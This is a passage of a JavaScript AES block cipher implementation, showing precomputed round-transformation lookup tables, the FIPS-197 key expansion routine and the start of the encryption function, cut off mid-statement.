0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8];\n var T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0];\n\n // Transformations for decryption key expansion\n var U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3];\n var U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697];\n var U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46];\n var U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d];\n\n function convertToInt32(bytes) {\n var result = [];\n for (var i = 0; i < bytes.length; i += 4) {\n result.push(\n (bytes[i ] << 24) |\n (bytes[i + 1] << 16) |\n (bytes[i + 2] << 8) |\n bytes[i + 3]\n );\n }\n return result;\n }\n\n var AES = function(key) {\n if (!(this instanceof AES)) {\n throw Error('AES must be instanitated with `new`');\n }\n\n Object.defineProperty(this, 'key', {\n value: coerceArray(key, true)\n });\n\n this._prepare();\n }\n\n\n AES.prototype._prepare = function() {\n\n var rounds = numberOfRounds[this.key.length];\n if (rounds == null) {\n throw new Error('invalid key size (must be 16, 24 or 32 bytes)');\n }\n\n // encryption round keys\n this._Ke = [];\n\n // decryption round keys\n this._Kd = [];\n\n for (var i = 0; i <= rounds; i++) {\n this._Ke.push([0, 0, 0, 0]);\n this._Kd.push([0, 0, 0, 0]);\n }\n\n var roundKeyCount = (rounds + 1) * 4;\n var KC = this.key.length / 4;\n\n // convert the key into ints\n var tk = convertToInt32(this.key);\n\n // copy values into round key arrays\n var index;\n for (var i = 0; i < KC; i++) {\n index = i >> 2;\n this._Ke[index][i % 4] = tk[i];\n this._Kd[rounds - index][i % 4] = tk[i];\n }\n\n // key expansion (fips-197 section 5.2)\n var rconpointer = 0;\n var t = KC, tt;\n while (t < roundKeyCount) {\n tt = tk[KC - 1];\n tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^\n (S[(tt >> 8) & 0xFF] << 16) ^\n (S[ tt & 0xFF] << 8) ^\n S[(tt >> 24) & 0xFF] ^\n (rcon[rconpointer] << 24));\n rconpointer += 1;\n\n // key expansion (for non-256 bit)\n if (KC != 8) {\n for (var i = 1; i < KC; i++) {\n tk[i] ^= tk[i - 1];\n }\n\n // key expansion for 256-bit keys is \"slightly different\" (fips-197)\n } else {\n for (var i = 1; i < (KC / 2); i++) {\n tk[i] ^= tk[i - 1];\n }\n tt = tk[(KC / 2) - 1];\n\n tk[KC / 2] ^= (S[ tt & 0xFF] ^\n (S[(tt >> 8) & 0xFF] << 8) ^\n (S[(tt >> 16) & 0xFF] << 16) ^\n (S[(tt >> 24) & 0xFF] << 24));\n\n for (var i = (KC / 2) + 1; i < KC; i++) {\n tk[i] ^= tk[i - 1];\n }\n }\n\n // copy values into round key arrays\n var i = 0, r, c;\n while (i < KC && t < roundKeyCount) {\n r = t >> 2;\n c = t % 4;\n this._Ke[r][c] = tk[i];\n this._Kd[rounds - r][c] = tk[i++];\n t++;\n }\n }\n\n // inverse-cipher-ify the decryption round key (fips-197 section 5.3)\n for (var r = 1; r < rounds; r++) {\n for (var c = 0; c < 4; c++) {\n tt = this._Kd[r][c];\n this._Kd[r][c] = (U1[(tt >> 24) & 0xFF] ^\n U2[(tt >> 16) & 0xFF] ^\n U3[(tt >> 8) & 0xFF] ^\n U4[ tt & 0xFF]);\n }\n }\n }\n\n AES.prototype.encrypt = function(plaintext) {\n if (plaintext.length != 16) {\n throw new Error('invalid plaintext size (must be 16 bytes)');\n }\n\n var rounds = this._Ke.length - 1;\n var a = [0, 0, 0, 0];\n\n // convert plaintext to (ints ^ key)\n var t = convertToInt32(plaintext);\n for (var i = 0; i < 4; i++) {\n t[i] ^= this._Ke[0][i];\n }\n\n // apply round transforms\n for (var r = 1; r < rounds; r++) {\n for (var i = 0; i < 4; i++) {\n a[i] = (T1[(t[ i ] >> 24) & 0xff] ^\n T2[(t[(i + 1) % 4] >> 16) & 0xff] ^\n T3[(t[(i + 2) % 4] >> 8) & 0xff] ^\n T4[ t[(i + 3) % 4] & 0xff] ^\n this._Ke[r][i]);\n }\n t = a.slice();\n }\n\n // the last round is special\n var result = createArray(16), tt;\n for (var i = 0; i < 4; i++) {\n tt = this._Ke[rounds][i];\n result[4 * i ] = (S[(t[ i ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;\n result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;\n result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff;\n result[4 * 